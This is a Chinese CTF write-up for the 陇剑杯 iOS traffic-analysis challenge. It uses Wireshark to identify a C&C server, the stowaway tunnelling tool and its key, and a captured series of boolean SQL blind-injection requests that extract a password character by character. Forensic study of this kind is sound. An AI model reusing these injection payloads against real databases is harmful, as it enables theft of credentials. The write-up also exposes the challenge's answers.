陇剑杯 ios 流量分析 CTF writeup

陇剑杯 ios 流量分析

链接：https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码：haek

目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
│
└───TrafficAnalize
    ├───ios
    │       ios.zip
    │
    └───webshell
            hack.pcap

本篇题目在 TrafficAnalize -> ios 中

ios

一位ios的安全研究员在家中使用手机联网被黑，不仅被窃密还丢失比特币若干，根据流量分析完成ios1-8

ios 1

ios-1：黑客所控制的C&C服务器IP是_____________。

什么是C&C服务器?

C&C（Command and Control）服务器是指控制网络中的恶意软件或者僵尸网络的服务器。这些服务器通常由黑客或者攻击者控制，用于发送指令给已经感染的计算机或者设备，以执行各种恶意活动，比如传播病毒、发起分布式拒绝服务（DDoS）攻击、窃取个人信息等。

用wireshark导出http对象

推荐使用kali中的wireshark导出http object

在windows中的wireshark导出http对象时点击全部保存会出现错误，使用起来不丝滑
在这里插入图片描述
太难受了

在kali 中下载vscode进行流量分析

网址

https://code.visualstudio.com/

下载.deb文件，在较新版本的kali解压后直接可以使用

或者下载vmware增强工具将保存的http对象文件发送到物理机(如果拖拽的文件不支持在目的机上会显示取消操作(太不丝滑了))

在这里插入图片描述
如此得到许多object文件，打开并分析它们，vs

可以看到一些敏感的信息，疑似黑客的webshell操作

在这里插入图片描述

导出http对象有什么用呢?

Wireshark最基本的分析视图是数据包级别，显示了每个数据包的原始内容，包括以太网、IP、TCP/UDP等协议的头部信息和数据负载。

HTTP对象提供了一个更高级别的视图，将HTTP请求和响应的内容提取出来并保存为单独的文件。这样做的目的是让用户更方便地查看和分析HTTP通信的内容，比如网页、图像、视频等。

在object13838发现(数据包的顺序和系统有关，在windows为13838，而在kali中为17375)

在这里插入图片描述

可知黑客的服务器 ip 是 3.128.156.159

ios 2

ios-2：黑客利用的Github开源项目的名字是______。（如有字母请全部使用小写）

在这里插入图片描述
使用http对象分析很方便，相对于在wireshark客户端中追踪HTTP/TCP流省去了很多鼠标操作

是一个github开源项目，在其他wp中提到，不过此时这个网址已不可打开(2024.4.14)

不过对github熟悉也能推测出，路径就是工具的名字

是 stowaway

ios 3

ios-3：通讯加密密钥的明文是____________。

在这里插入图片描述
是 hack4sec

参数

-s 节点通信加密密钥
-c 主动模式下的目标节点地址

ios 4

ios-4：黑客通过SQL盲注拿到了一个敏感数据，内容是____________。

后续的tcp流是加密的，考虑导入keylog

在这里插入图片描述

选 protocols 选择TLS协议

在wireshark Preferences 路径选keylog.txt

观察到有疑似盲注的痕迹

在这里插入图片描述
在http对象中查找注入内容

这里还是使用kali的wireshark保存，windows的wireshark会保存会发生错误弹窗

在这里插入图片描述

有趣的是，注入内容是在文件名中显示，和wireshark中http object的窗口显示的Filename一致

不太清楚为什么，可能是HTTP2的协议特性

(我做的这份题目可能有些问题，只显示注入了20位左右，其他wp有40多位(也可能是我菜，没找全))

(即便如此，还是贴上完整的注入日志)

选出来一部分

info%3fl=1&o=%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%2237%22_then_id_else_col1_end%29

info?l=1&o=%28case_when_%28select_hex%28substr%28password%2C2%2C1%29%29_from_user%29%3D%2234%22_then_id_else_col1_end%29

info?l=1&o=%28case_when_%28select_hex%28substr%28password%2C3%2C1%29%29_from_user%29%3D%2236%22_then_id_else_col1_end%29

URL解码


info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="37"_then_id_else_col1_end)

info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="34"_then_id_else_col1_end)

info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="36"_then_id_else_col1_end)

完整的sql盲注日志(来自其他wp)

No. Time    Source  Destination Protocol    Length  Info    \346\263\250\351\207\212
43034   1167    192.168.1.8 192.168.1.12    HTTP2   229 HEADERS[1]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[1]  
43052   1167    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[3]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[3]  
43059   1167    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[5]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[5]  
43066   1168    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[7]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[7]  
43073   1168    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[9]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[9]  
43079   1168    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[11]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[11]
43086   1169    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[13]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[13]
43093   1169    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[15]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[15]
43099   1169    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[17]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[17]
43107   1170    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[19]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[19]
43113   1170    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[21]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[21]
43119   1170    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[23]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[23]
43126   1170    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[25]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[25]
43132   1171    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[27]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[27]
43138   1171    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[29]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[29]
43144   1171    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[31]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[31]
43151   1172    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[33]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[33]
43159   1172    192.168.1.8 192.168.1.12    HTTP2   264 HEADERS[35]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[35]
43165   1172    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[37]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[37]
43172   1173    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[39]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[39]
43178   1173    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[41]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[41]
43185   1173    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[43]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[43]
43194   1174    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[45]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[45]
43201   1174    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[47]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[47]
43207   1174    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[49]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[49]
43214   1175    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[51]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[51]
43226   1175    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[53]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[53]
43232   1175    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[55]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[55]
43239   1175    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[57]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[57]
43245   1176    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[59]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[59]
43251   1176    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[61]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[61]
43259   1176    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[63]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[63]
43267   1177    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[65]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[65]
43273   1177    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[67]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[67]
43280   1177    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[69]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[69]
43289   1178    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[71]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[71]
43300   1178    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[73]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[73]
43314   1179    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[75]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[75]
43325   1179    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[77]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[77]
43331   1179    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[79]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[79]
43338   1180    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[81]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[81]
43346   1180    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[83]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[83]
43352   1180    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[85]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[85]
43359   1181    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[87]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[87]
43368   1181    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[89]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[89]
43377   1181    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[91]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[91]
43387   1182    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[93]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[93]
43393   1182    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[95]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[95]
43399   1182    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[97]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[97]
43406   1183    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[99]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[99]
43412   1183    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[101]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[101]  
43420   1183    192.168.1.8 192.168.1.12    HTTP2   264 HEADERS[103]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[103]  
43430   1184    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[105]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[105]  
43439   1184    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[107]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[107]  
43446   1184    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[109]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[109]  
43453   1185    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[111]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[111]  
43460   1185    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[113]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[113]  
43466   1185    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[115]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[115]  
43474   1186    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[117]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[117]  
43480   1186    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[119]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[119]  
43487   1186    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[121]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[121]  
43494   1186    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[123]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[123]  
43500   1187    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[125]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[125]  
43506   1187    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[127]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[127]  
43515   1187    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[129]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[129]  
43522   1188    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[131]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[131]  
43530   1188    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[133]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[133]  
43538   1188    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[135]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[135]  
43544   1189    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[137]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[137]  
43550   1189    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[139]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[139]  
43557   1189    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[141]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[141]  
43565   1190    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[143]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[143]  
43571   1190    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[145]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[145]  
43580   1190    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[147]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[147]  
43589   1191    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[149]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[149]  
43595   1191    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[151]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[151]  
43601   1191    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[153]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[153]  
43608   1192    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[155]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[155]  
43614   1192    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[157]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[157]  
43620   1192    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[159]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[159]  
43627   1193    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[161]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[161]  
43635   1193    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[163]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[163]  
43642   1193    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[165]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[165]  
43659   1194    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[167]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[167]  
43665   1194    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[169]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[169]  
43672   1194    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[171]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[171]  
43679   1195    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[173]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[173]  
43690   1195    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[175]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[175]  
43696   1196    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[177]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[177]  
43703   1196    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[179]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[179]  
43709   1197    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[181]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[181]  
43715   1197    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[183]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[183]  
43722   1197    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[185]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[185]  
43728   1198    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[187]: GET /info?l=1&o=(case_when_(select_hex(substr(password,9,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[187]  
43736   1198    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[189]: GET /info?l=1&o=(case_when_(select_hex(substr(password,9,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[189]  
43742   1198    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[191]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[191] 
43750   1199    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[193]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[193] 
43756   1199    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[195]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[195] 
43763   1199    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[197]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[197] 
43769   1200    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[199]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[199] 
43775   1200    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[201]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[201] 
43782   1200    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[203]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[203] 
43788   1201    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[205]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[205] 
43796   1201    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[207]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[207] 
43802   1201    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[209]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[209] 
43809   1202    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[211]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[211] 
43817   1202    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[213]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[213] 
43823   1202    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[215]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[215] 
43830   1202    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[217]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[217] 
43837   1203    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[219]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[219] 
43843   1203    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[221]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[221] 
43850   1203    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[223]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[223] 
43856   1204    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[225]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[225] 
43862   1204    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[227]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[227] 
43869   1205    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[229]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[229] 
43883   1205    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[231]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[231] 
43889   1205    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[233]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[233] 
43902   1206    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[235]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[235] 
43909   1207    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[237]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[237] 
43920   1207    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[239]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[239] 
43927   1208    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[241]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[241] 
43944   1208    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[243]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[243] 
